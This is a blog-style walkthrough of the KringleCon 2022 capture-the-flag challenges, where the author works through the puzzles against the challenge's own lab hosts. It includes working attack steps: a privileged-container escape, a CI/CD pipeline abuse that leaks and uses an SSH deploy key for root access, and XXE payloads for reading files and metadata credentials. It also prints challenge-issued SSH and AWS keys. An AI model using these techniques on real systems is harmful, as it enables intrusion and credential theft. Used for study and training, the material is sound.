Contents:

Overview:

This post will discuss my progress through KringleCon 2022. I used the task ordering from the Kringlecon discord sponsored by SANS.

I greatly enjoyed this years competition. The overall theme was a LOTR quest in the great depths underneath Kringlecon for 5 rings that a “flobbit” (read hobbit) had stolen and turn him into smeigol (I forget the fake name they gave him at this point). Anyway, this year was even more fun than last year, since I actually finished all the challenges. My favorite overall was the CI/CD challenge, and look at that specific write up to see why. Thanks SANS for putting this on and all people who put in countless hours to setup and run the event.

Objectives:

Gather all 5 rings: 1. The Tolkien Ring 2. The Elfen Ring 3. The Web Ring 4. The Cloud Ring 5. The Ring of Fire

Task 1: Introduction

nothing, just follow the prompts

The Tolkien Ring:

Task 2: wireshark-practice

This is some simple wireshark practice on a pcap.

Some useful tshark commands for me:

tshark -r suspicious.pcap --export-objects "http,http_dir"

File found via inspecting app(1).php and determining where the bytecode object is saved to: saveAs(blob1, 'Ref_Sept24-2020.zip');.

Inspect tls settings and certificates:

tshark -r suspicious.pcap -2R "tls.handshake.type == 11" -T json

Print out CountryNames

╰─$ tshark -r suspicious.pcap -2R "tls.handshake.type == 11" -n -V | grep CountryName | tr -d ' ' | sort | uniq
CountryName:IE
CountryName:IL
CountryName:SS
CountryName:US

LINK to TRANSLATE 2 letter names:

  • IE: Ireland
  • IS: Israel
  • SS: South Sudan
  • US: United states

fun notes on JQ:

Wow I played around with JQ for way too long on this…
For some reason tshark doesn’t play nice with JQ…..

This Returns x509sat.CountryName field….

$ tshark -r suspicious.pcap -2R "tls.handshake.type == 11" -T json -n -V -J "tls" | grep -i Country

However, this returns nothing….

╰─$ tshark -r suspicious.pcap -2R "tls.handshake.type == 11" -T json -n -V -J "tls" | jq ".[]._source.layers.tls.\"tls.record\"" | grep -i Country

If anyone has any idea why this happens, would love an answer, otherwise at some point I’ll post on stack exchange.

Q/A:

  1. what objects?: http
  2. largest file?: app.php (the one with obvious shellcode injected)
  3. which packet?: 687
  4. ip of apache server?: 192.185.57.242
  5. what file is saved? Ref_Sept24-2020.zip
  6. Ireland, Israel, South Sudan, United States
  7. Yes the host is infected as seen by the encoded webshell uploaded to the website lol

Task 3: windows-event-logs:

Finding the date is a grep and sort count away:

╰─$ ./chainsaw/chainsaw search "" powershell.evtx 2>/dev/null | grep "SystemTime:" | awk -F ":" '{print $2}' | sort | uniq -c | sort -r
2811  2022-12-23T03
2445  2022-12-24T18
....

Name of the file with the recipe:

./chainsaw/chainsaw search "" powershell.evtx | grep -i Add-content

How to actually find the field you want to use for timestamp. Essentially its hierarchical, so by default the field you want to filter for time is: Event.System.TimeCreated.
A simple command to do this is:

╰─$ ./chainsaw/chainsaw search "" powershell.evtx --from 2022-12-24T00:00:00 --timestamp Event.System.TimeCreated

For number 3, a hint suggested filtering for “get-content” I am not a powershell master, but looks like this is a unique command that will let you, read a variable/file. Since the question asks: “The contents were retrieved stored and changed”, seems like this command will probably have to be called. I found it through the following ways:

$ ./chainsaw/chainsaw search "" powershell.evtx --json --from 2022-12-24T00:00:00 --timestamp Event.System.TimeCreated | jq ".[].Event.EventData.Payload | gsub(\"\\r\\n\"; \"\")? " > parsing.txt

$ cat parsing.txt | grep -i "get-content" | sort | uniq | tail -n 1
"CommandInvocation(Get-Content): \"Get-Content\"ParameterBinding(Get-Content): name=\"Path\"; value=\".\\recipe_updated.txt\""

At this point it was somewhat easier to just use their terminal since that had the exact content they were expecting. I spent alot of time figuring out how to parse chainsaw, but I think it was worth it learning how to use jq and chainsaw.

Note on Powershell event logging: Event ID 4103 - PowerShell Module Logging. For more info see the links

Q/A:

  1. date of event?: 12/24/2022
  2. Recipe
  3. Copy/pasted image:
    image for above command output in terminal
  4. Copy/pasted image:
    answer-4
  5. recipe.txt was attacked multiple times
  6. files deleted?
    Yes (the recipe_updated.txt was removed, vial del command)
  7. was Recipe ever deleted?
    no, greping for del/Recipe shows no results
  8. what was the event Id that shows the actual commands the attacker ran?:
    4104 Event ID 4104 - PowerShell Script Block Logging
  9. is the secret ingredient compromised?
    yes, duh they completely obliterated the recipe
  10. what is the ingredient?
    honey

Task 4: suricata-regata:

Here I have to write some suricata rules. I’ll put my notes in this section along with some analysis, followed by the answers in Q/A.

One gotcha I ran into is you need to make sure each suricata rule has a unique SID: stackoverflow.

Wow! Surricata seems like a great tool, it’ll even automatically ungzip content AND look across the entire protocol stack for specific content. That last rule will look for a specific javascript string in the http payload.

Q/A:

  1. First off, the STINC (Santa’s Team of Intelligent Naughty Catchers) has a lead for us. They have some Dridex indicators of compromise to check out. First, please create a Suricata rule to catch DNS lookups for adv.epostoday.uk.
alert dns $HOME_NET any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; nocase; sid:2025218; rev:4;)
  1. Develop a Suricata rule that alerts whenever the infected IP address 192.185.57.242 communicates with internal systems over HTTP.
alert http  $HOME_NET any <> [192.185.57.242/32] any (msg:"Investigate suspicious connections, possible Dridex infection"; )
  1. Develop a Suricata rule to match and alert on an SSL certificate for heardbellith.Icanwepeh.nagoya.
alert tls  any any -> any any (msg: "Investigate bad certificates, possible Dridex infection";  tls.cert_subject; content:"CN=heardbellith.Icanwepeh.nagoya"; isdataat:!1,relative; sid:10001;)
  1. Let’s watch for one line from the JavaScript: let byteCharacters = atob Oh, and that string might be GZip compressed - I hope that’s OK! Just in case they try this again, please alert on that HTTP data with message Suspicious JavaScript function, possible Dridex infection.
alert http  any any -> any any (msg: "Suspicious JavaScript function, possible Dridex infection" ;  http.response_body; content:"let byteCharacters = atob"; sid:202;)

The Elfen Ring:

Task 5: Clone with a difference

So I’m not really sure why this was even a challenge, but they essentially have you a malformed URL I guess, and you could either navigate to the website, or change the url to https.

They give you this command: git clone git@haugfactory.com:asnowball/aws_scripts.git
If you proceed to the url: https://haugfactory.com/orcadmin/aws_scripts
You get the following script: git clone http://haugfactory.com/orcadmin/aws_scripts.git
And you can download the Readme and get the last word (or you can just look on the website ;) )

Q/A:

Then runtoanswer and tell us the last word of the README.md file!

maintainer

Task 6: Prison Escape

Here the user is dropped into a container

Lets do some exploring:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
grinchum-land:/# cat /proc/1/cgroup
11:pids:/docker/1c30834b36861abf31126beb22a71a71df6a9b458abb501aea39d99f09ddbff7
10:net_cls,net_prio:/docker/1c30834b36861abf31126beb22a71a71df6a9b458abb501aea39d99f09ddbff7
9:freezer:/docker/1c30834b36861abf31126beb22a71a71df6a9b458abb501aea39d99f09ddbff7
8:cpuset:/docker/1c30834b36861abf31126beb22a71a71df6a9b458abb501aea39d99f09ddbff7
7:hugetlb:/docker/1c30834b36861abf31126beb22a71a71df6a9b458abb501aea39d99f09ddbff7
6:memory:/docker/1c30834b36861abf31126beb22a71a71df6a9b458abb501aea39d99f09ddbff7
5:blkio:/docker/1c30834b36861abf31126beb22a71a71df6a9b458abb501aea39d99f09ddbff7
4:perf_event:/docker/1c30834b36861abf31126beb22a71a71df6a9b458abb501aea39d99f09ddbff7
3:cpu,cpuacct:/docker/1c30834b36861abf31126beb22a71a71df6a9b458abb501aea39d99f09ddbff7
2:devices:/docker/1c30834b36861abf31126beb22a71a71df6a9b458abb501aea39d99f09ddbff7
1:name=systemd:/docker/1c30834b36861abf31126beb22a71a71df6a9b458abb501aea39d99f09ddbff7
0::/docker/1c30834b36861abf31126beb22a71a71df6a9b458abb501aea39d99f09ddbff7
grinchum-land:/# 

I see the word docker in there so I can confirm I am in a container.

lets looks at the users:

1
2
3
4
5
grinchum-land:/# cat /etc/passwd | grep /bin
root:x:0:0:root:/root:/bin/ash
....
abc:x:911:1001::/home/samways:/bin/bash
samways:x:1000:1000::/home/samways:/bin/bash

doing a find, shows no files owned by abc, but some owned by samways and rest owned by root

Well based on the articles, I’m hoping I’m in a privileged container, so lets try sudo su to get a root shell (ideally this root will be the same as the host root).

rinchum-land:~$ sudo su
grinchum-land:/home/samways# whoami
root

Pay dirt!!

Next lets see if I can get access to filesystems, and if so try mounting to see what happens:

grinchum-land:/home/samways# fdisk -l
Disk /dev/vda: 2048 MB, 2147483648 bytes, 4194304 sectors
2048 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Disk /dev/vda doesn't contain a valid partition table
grinchum-land:/home/samways# mkdir -p /mnt/host
grinchum-land:/home/samways# mount /dev/vda /mnt/host
grinchum-land:/home/samways# ls /mnt/host/
bin   dev  home  lib32  libx32      media  opt   root  sbin  sys  usr
boot  etc  lib   lib64  lost+found  mnt    proc  run   srv   tmp  var
grinchum-land:/home/samways# ls /
app      defaults     home       media    proc  srv  var
bin      dev          init       mnt      root  sys
command  docker-mods  keygen.sh  opt      run   tmp
config   etc          lib        package  sbin  usr
grinchum-land:/home/samways# 

ez pz

well looks like I have access to some kind of other host (probably the parent that is executing my container), as seen by the different in the /mnt/host and / directories. (probably a vm within the system sans uses to spin up containers!)

So lets check the home directories:

grinchum-land:/home/samways# cd /mnt/host/
grinchum-land:/mnt/host# ls home/
jailer

OK

wowzers that was ez. See Q/A for the answer! I actually struggled on this one for a while because I thought the vda system was bogus. I expected a typically sda/ or hda/ result from fdisk… Turns out since this is probably running in someweird virtualized system, I had to mount the vda disk.

Q/A:

Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file /home/jailer/.ssh/jail.key.priv?

grinchum-land:/mnt/host/home/jailer/.ssh# cat jail.key.priv 

                Congratulations! 

          You've found the secret for the 
          HHC22 container escape challenge!

                     .--._..--.
              ___   ( _'-_  -_.'
          _.-'   `-._|  - :- |
      _.-'           `--...__|
   .-'                       '--..___
  / `._                              \
   `. `._               one           |
     `. `._                           /
       '. `._    :__________....-----'
         `..`---'    |-_  _- |___...----..._
                     |_....--'             `.`.
               _...--'                       `.`.
          _..-'                             _.'.'
       .-'             step                _.'.'
       |                               _.'.'
       |                   __....------'-'
       |     __...------''' _|
       '--'''        |-  - _ |
               _.-''''''''''''''''''-._
            _.'                        |\
          .'                         _.' |
          `._          closer           |:.'
            `._                     _.' |
               `..__                 |  |
                    `---.._.--.    _|  |
                     | _   - | `-.._|_.'
          .--...__   |   -  _|
         .'_      `--.....__ |
        .'_                 `--..__
       .'_                         `.
      .'_    082bb339ec19de4935867   `-.
      `--..____                        _`.
               ```--...____          _..--'
                     | - _ ```---.._.'
                     |   - _ |
                     |_ -  - |
                     |   - _ |
                     | -_  -_|
                     |   - _ |
                     |   - _ |
                     | -_  -_|
grinchum-land:/mnt/host/home/jailer/.ssh# 

Task 7: Jolly CICD

I am greeted with this message from the previous challenge, looks like some vulnerable code just got committed:
Elf dialogue from last challenge

So I clone it like so:

1
grinchum-land:/home/samways# git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git

Well that worked, lets do a little recon on the website/gitlab really quickly before checking out the code (curious what services are up):

grinchum-land:/home/samways/wordpress.flag.net.internal# for x in {1..2222} ; do nc -zv wordpress.flag.net.internal $x  2>&1 | grep succeeded ; done
Connection to wordpress.flag.net.internal 22 port [tcp/ssh] succeeded!
Connection to wordpress.flag.net.internal 80 port [tcp/http] succeeded!
grinchum-land:/home/samways/wordpress.flag.net.internal# 
grinchum-land:/home/samways/wordpress.flag.net.internal# for x in {1..2222} ; do nc -zv gitlab.flag.net.internal $x  2>&1 | grep succeeded ; done
Connection to gitlab.flag.net.internal 22 port [tcp/ssh] succeeded!
Connection to gitlab.flag.net.internal 80 port [tcp/http] succeeded!

Ok seems like theres (probably) not that much there. Nmap is borked, so I can’t run that, but this is a good enough close approximate

Lets try doing some git forensics and see if I can see what he regrets committing:

.....

commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 13:42:54 2022 -0700

    whoops
commit abdea0ebb21b156c01f7533cea3b895c26198c98
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 13:42:13 2022 -0700

    added assets

commit a7d8f4de0c594a0bbfc963bf64ab8ac8a2f166ca
Author: knee-oh <sporx@kringlecon.com>
Date:   Mon Oct 24 17:32:07 2022 -0700

    init commit

Hmmmmm… seems suspicious. Luckilyk, I found this after a few minutes, would have taken alot longer otherwise.

Lets see what the whoops was:

grinchum-land:/home/samways/wordpress.flag.net.internal# git diff e19f653bde9ea3de6af21a587e41e7a909db1ca5 abdea0ebb21b156c01f7533cea3b895c26198c98

commit 37b5d575bf81878934adb937a4fff0d32a8da105 (HEAD -> main, origin/main, origin/HEAD)
Author: knee-oh <sporx@kringlecon.com>
diff --git a/.ssh/.deploy b/.ssh/.deploy
new file mode 100644
diff --git a/.ssh/.deploy b/.ssh/.deploy
new file mode 100644
index 0000000..3f7a9e3
--- /dev/null
+++ b/.ssh/.deploy
@@ -0,0 +1,7 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
+9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
+AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
+PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
+-----END OPENSSH PRIVATE KEY-----
diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub
new file mode 100644
index 0000000..8c0b43c
--- /dev/null
+++ b/.ssh/.deploy.pub
@@ -0,0 +1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com

Wow we’ve got an ssh key to use, I tried logging in with it at both urls, but wasn’t able to. However, I figured why not try and git clone and see if I can push a commit (like the hint says: try recloning with the new credentials)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
grinchum-land:~# git clone git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git
grinchum-land:~# ls 
wordpress_clone  wordpress_clone_sshkey 
....
grinchum-land:~/wordpress_clone_sshkey# git commit -am "adding gitlab-ci.yml"
grinchum-land:~/wordpress_clone_sshkey# git push
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 423 bytes | 423.00 KiB/s, done.
Total 3 (delta 2), reused 0 (delta 0), pack-reused 0
To gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git
   37b5d57..9ec88d1  main -> main

Woohooo!! I just pushed to the repo, and have now pushed to the ci/cd pipeline! Now how do I follow through on the question to “exploit” the pipeline. I have a feeling the real target should probably be the website…

if I look at the repo, it looks like they’re using an ssh key on the gitlab runner to push to prod, lets see if I can push the KEY to prod (then maybe I can ssh to the website)

1
2
3
4
5
6
7
8
9
stages:
  - deploy

deploy-job:      
  stage: deploy 
  environment: production
  script:
    - rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html
    - rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=www-data:www-data -atv --delete --progress /etc/gitlab-runner/hhc22-wordpress-deploy root@wordpress.flag.net.internal:/var/www/html/KEY
commit 35d2cd51a2b91f1e7bbe977e0d5dc6d1333facd0 (HEAD -> main, origin/main, origin/HEAD)
Author: root <root@grinchum-land.flag.net.internal>
Date:   Thu Dec 29 16:46:37 2022 +0000

    exploiting pipeline

It worked!! lets see if I can ssh with it :)

grinchum-land:~# wget wordpress.flag.net.internal/KEY
--2022-12-29 16:50:00--  http://wordpress.flag.net.internal/KEY
Resolving wordpress.flag.net.internal (wordpress.flag.net.internal)... 172.18.0.88
Connecting to wordpress.flag.net.internal (wordpress.flag.net.internal)|172.18.0.88|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 411
Saving to: 'KEY'

KEY                                   100%[=========================================================================>]     411  --.-KB/s    in 0s      

2022-12-29 16:50:00 (10.9 MB/s) - 'KEY' saved [411/411]

grinchum-land:~# ls
KEY  clone_ssh

Had to chmod the key, but then…. WE ARE IN:

grinchum-land:~# ssh -i KEY root@wordpress.flag.net.internal
Linux wordpress.flag.net.internal 5.10.51 #1 SMP Mon Jul 19 19:08:01 UTC 2021 x86_64
....
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@wordpress:~# 
root@wordpress:~# ls
root@wordpress:~# cd /
root@wordpress:/# ls
bin  boot  dev  etc  flag.txt ....

This was fun :) Thanks SANS!

Q/A:

Exploit a CI/CD pipeline. Get hints for this challenge from Tinsel Upatree in the Elfen Ring.

Hint: If you find a way to impersonate another identity, you might try re-cloning a repo with their credentials.

root@wordpress:/# cat flag.txt 

                           Congratulations! You've found the HHC2022 Elfen Ring!


                                        ░░░░            ░░░░                                      
                                ░░                              ░░░░                              
                            ░░                                      ░░░░                          
                                                                        ░░                        
                      ░░                                                  ░░░░                    
                                                                              ░░                  
                                      ░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░                  ░░                
                                  ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░                ░░              
                              ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒                ░░            
                          ░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓░░              ▓▓▓▓▓▓▓▓▒▒░░░░            ░░░░          
          ░░            ░░▒▒▓▓▓▓▓▓▓▓                            ▓▓▓▓▓▓▒▒░░            ░░░░        
                      ░░▒▒▓▓▓▓▓▓                                    ▓▓▒▒▒▒░░          ░░░░        
                      ▒▒▓▓▓▓▓▓                                        ▓▓▓▓▒▒░░          ░░░░      
      ░░            ▒▒▓▓▓▓▓▓                                            ▓▓▒▒░░░░        ░░░░▒▒    
                  ░░▒▒▓▓▓▓░░                                            ░░▒▒▒▒░░░░      ░░░░▒▒    
                  ░░▓▓▓▓▓▓                                                ▓▓▒▒░░░░      ░░░░▒▒    
    ░░            ▒▒▓▓▓▓                                                    ▒▒░░░░        ░░▒▒▒▒  
    ░░          ░░▓▓▓▓▓▓                                                    ▒▒▒▒░░░░      ░░▒▒▒▒  
    ░░          ▒▒▓▓▓▓                                                        ▒▒░░░░      ░░▒▒▒▒  
                ▒▒▓▓▓▓                                                        ▒▒░░░░░░    ░░▒▒▒▒  
  ░░          ░░▓▓▓▓▒▒                                                        ▒▒░░░░░░    ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓                                                            ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓                                                            ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓               oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT             ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░░░        ▒▒▓▓▓▓                                                            ░░░░  ░░░░░░▒▒▒▒▓▓
  ░░░░        ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▒▒░░        ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▒▒░░░░      ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▓▓░░░░      ░░▓▓▓▓▒▒                                                        ░░      ░░░░▒▒▒▒▓▓▓▓
    ▒▒░░        ▒▒▓▓▓▓                                                        ░░    ░░░░▒▒▒▒▒▒▓▓  
    ▒▒░░░░      ░░▓▓▓▓                                                        ░░    ░░░░▒▒▒▒▓▓▓▓  
    ▓▓▒▒░░      ░░▒▒▓▓▓▓                                                    ░░      ░░▒▒▒▒▒▒▓▓▓▓  
    ▓▓▒▒░░░░      ▒▒▒▒▓▓                                                          ░░░░▒▒▒▒▒▒▓▓▓▓  
      ▒▒▒▒░░░░    ▒▒▒▒▒▒▒▒                                                        ░░▒▒▒▒▒▒▒▒▓▓    
      ▓▓▒▒░░░░    ░░░░▒▒▒▒▓▓                                            ░░      ░░░░▒▒▒▒▒▒▓▓▓▓    
        ▒▒▒▒░░░░    ░░▒▒▒▒▒▒▒▒                                        ░░      ░░░░▒▒▒▒▒▒▒▒▓▓      
          ▓▓▒▒░░░░  ░░░░░░░░▒▒▓▓                                    ░░      ░░░░▒▒▒▒▒▒▓▓▓▓        
          ▓▓▓▓▒▒░░░░░░░░░░░░░░▒▒▒▒▓▓                            ░░        ░░░░▒▒▒▒▒▒▓▓▓▓▓▓        
            ▓▓▓▓▒▒░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒                ░░░░          ░░░░▒▒▒▒▒▒▓▓▓▓▓▓          
              ▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░                ░░░░▒▒▒▒▒▒▓▓▓▓▓▓            
                ▓▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░                        ░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓              
                  ▓▓▓▓▓▓▒▒▒▒░░░░░░░░░░░░░░░░              ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓                
                    ▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓ 

                      ██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓██                    
                          ██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██                        
                            ████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████                          
                                ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████████                              
                                ░░░░░░░░▓▓██████████████████░░░░░░░░   

The Web Ring:

Task 8: boria pcap mining

The last and final question on this challenge was fun as it involved having to dig into the pcap to find the attack that was used on the IMDS server last year to get it to print its internal credentials! Pretty neat :)

Q/A:

Most of the traffic to this site is nice, but one IP address is being naughty! Which is it?

1
2
$ cat weberror.log | grep POST | awk '{print $1}' | sort | uniq  
18.222.86.32

The first attack is a brute force login. What’s the first username tried?

1
2
$ tshark -r victim.pcap -2R "http.request.method == POST" -T json -n -V -J "http" | grep file_data | head -n 1
"http.file_data": "username=alice&password=philip"

The next attack is forced browsing where the naughty one is guessing URLs. What’s the first successful URL path in this attack?

$ tshark -r victim.pcap -2R "http.request.method == POST && http.request.uri != \"/login.html\"" -T json -n -V -J "http" | jq '.[:1]' | grep uri
            "http.request.uri": "/proc",

The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?

$ tshark -r victim.pcap -2R "http.request.method == POST && http.request.uri == \"/proc\"" -T json -n -V -J "http" | jq ' .[]._source.layers.http."http.file_data"' | tail -n 1
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE foo [ <!ENTITY id SYSTEM \"http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance\"> ]>\n<product><productId>&id;</productId></product>\n"

Task 9: boria mine door

For this I have to solve the text input for 6 pins to the lock of the “boria” mine door. The code sends our input to a server, renders it in a browser, and sends us back the result. Looks like I just have to get png’s to output on the remote end so that they connect the pins with the correct colors… easy enough.

pin1

This challenge was annoying, but was interesting to learn how specific HTML tags worked that I’d never seen before. While I initially found this challenge very frustrating, it overall proved to be an interesting problem solving experience.

Q/A:

  1. any white text to connect the inputs
@&@&&W&&W&&&&
  1. need to addd an svg to connect the white pins:
<svg width="400" height="400">
  <rect width="400" height="400" style="fill:white" />
</svg>
  1. need to add JS to connect the blue pins:
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
  <!-- Points -->
  <circle cx="10" cy="10" r="200" fill="blue"/>
</svg>

Hints:

  • The locks take input, render some type of image, and process on the back end to unlock. To start, take a good look at the source HTML/JavaScript.
  • Understanding how Content-Security-Policy works can help with this challenge.
  • Developers use both client- and server-side input validation to keep out naughty input.

Task 10: Glamtriels fountain

So this is the final web challenge and the goal of the challenge is to get Glamtriel’s ring (Galadriel from lord of the rings). This challenge was very gamified to me and easily my least favorite, from all of the other wonderful challenges this year at SANS.

Anyway, the beginning of the challenge gives you a screen like this: beginning

And you have to drag and drop the images until you get to a screen like this: beginning

After that the actual challenge beings. I’m really not sure why they did that and the above process was very frustrating, and would have to be repeated if your cookie ever got reset… fun.

You can grab the cURL request from the browser for the latest dropped.png and start editing on your terminal. You’ll need to edit:

Add these to the request:

accept: */*
content-type: application/xml

That lets you send xml like this in the --data-raw param, which is just a conversion of the old json payload.

<!--?xml version="1.0" ?-->
<root>
  <imgDrop>&ent;</imgDrop>
  <who>fountain</who>
  <reqType>xml</reqType>
</root>

Finally you can add the following to your xml payload to run the XXE attack:

<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///app/static/images/"> ]>

With the following Filepaths:

/app/static/images/ringlist.txt
/app/static/images/x_phial_pholder_2022/redring.txt
/app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt

Which show you these for the ringlist (1) leading to the redring hint (2):

And finally I can modify the entries in the xml based on glamtriel’s final hint:

1
2
3
4
5
{
  "appResp": "Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them.^She's definitely hiding something.",
  "droppedOn": "none",
  "visit": "none"
}

To get the final input and answer. she wants the silver ring so I have to add img1 as the image drop, but make the reqType our xxe attack. Why I don’t know, but ah well!

1
2
3
4
5
6
$ curl 'https://glamtarielsfountain.com/dropped' -H 'authority: glamtarielsfountain.com' -H 'accept: */*' -H 'accept-language: en-US,en;q=0.9' -H 'content-type: application/xml' -H 'cookie: GCLB="1df9a8cbabd097a6"; MiniLembanh=121a8421-e636-431b-8b80-9b3d447364b5.9n0j1gj_2bC3qlV4rirIr33fCN4' -H 'origin: https://glamtarielsfountain.com' -H 'referer: https://glamtarielsfountain.com/' -H 'sec-fetch-dest: empty' -H 'sec-fetch-mode: cors' -H 'sec-fetch-site: same-origin' -H 'sec-gpc: 1' -H 'user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' -H 'x-grinchum: ImE4OTM3YjU1NTcxMDQxYzdlOThmYzY4MWY2ODk5ODMyOGYwYmYyNjQi.Y7jKuw.CElCtoysq3FBVz9Otfl7Smi-ynE' --data-raw '<!DOCTYPE replace [<!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt"> ]>
<root>
  <imgDrop>img1</imgDrop>
  <who>princess</who>
  <reqType>&xxe;</reqType>
</root>' --compressed
1
2
3
4
5
{
  "appResp": "No, really I couldn't. Really? I can have the beautiful silver ring? I shouldn't, but if you insist, I accept! In return, behold, one of Kringle's golden rings! Grinchum dropped this one nearby. Makes one wonder how 'precious' it really was to him. Though I haven't touched it myself, I've been keeping it safe until someone trustworthy such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you!",
  "droppedOn": "none",
  "visit": "static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px"
}

This is the cool ring you can get from the png:
ring

Thanks to my coworker and user @i81b4u on the SANS discord for help on solving this challenge.

Q/A:

Stare into Glamtariel’s fountain and see if you can find the ring! What is the filename of the ring she presents you?

goldring-morethansupertopsecret76394734.png

The Cloud Ring:

Task 11: aws cli intro

Easy cli configuration.

Q/A

  1. Add these creds/settings:
Next, please configure the default aws cli credentials with the access key AKQAAYRKO7A5Q5XUY2IY, the secret key qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf and the region us-east-1 .
https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html#cli-configure-quickstart-config
  1. Caller ID:
elf@8e60ad28d813:~$ aws sts get-caller-identity
{
    "UserId": "AKQAAYRKO7A5Q5XUY2IY",
    "Account": "602143214321",
    "Arn": "arn:aws:iam::602143214321:user/elf_helpdesk"
}

Well that was easy and awesome! This tool just searches for secrets and finds them.

Link to TruffleHog: Link

Running trufflehog to find secrets:

╰─$ ./trufflehog git http://haugfactory.com/orcadmin/aws_scripts.git
🐷🔑🐷  TruffleHog. Unearth your secrets. 🐷🔑🐷

Found unverified result 🐷🔑❓
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAAIDAYRANYAHGQOHD
Commit: 106d33e1ffd53eea753c1365eafc6588398279b5
File: put_policy.py
Email: asnowball <alabaster@northpolechristmastown.local>
Repository: http://haugfactory.com/orcadmin/aws_scripts.git
Timestamp: 2022-09-07 07:53:12 -0700 -0700
Line: 6

Found unverified result 🐷🔑❓
Detector Type: Gitlab
Decoder Type: PLAIN
Raw result: add-a-file-using-the-
File: README.md
Email: alabaster snowball <alabaster@northpolechristmastown.local>
Repository: http://haugfactory.com/orcadmin/aws_scripts.git
Timestamp: 2022-09-06 19:54:48 +0000 +0000
Line: 14
Commit: 2c77c1e0a98715e32a277859864e8f5918aacc85

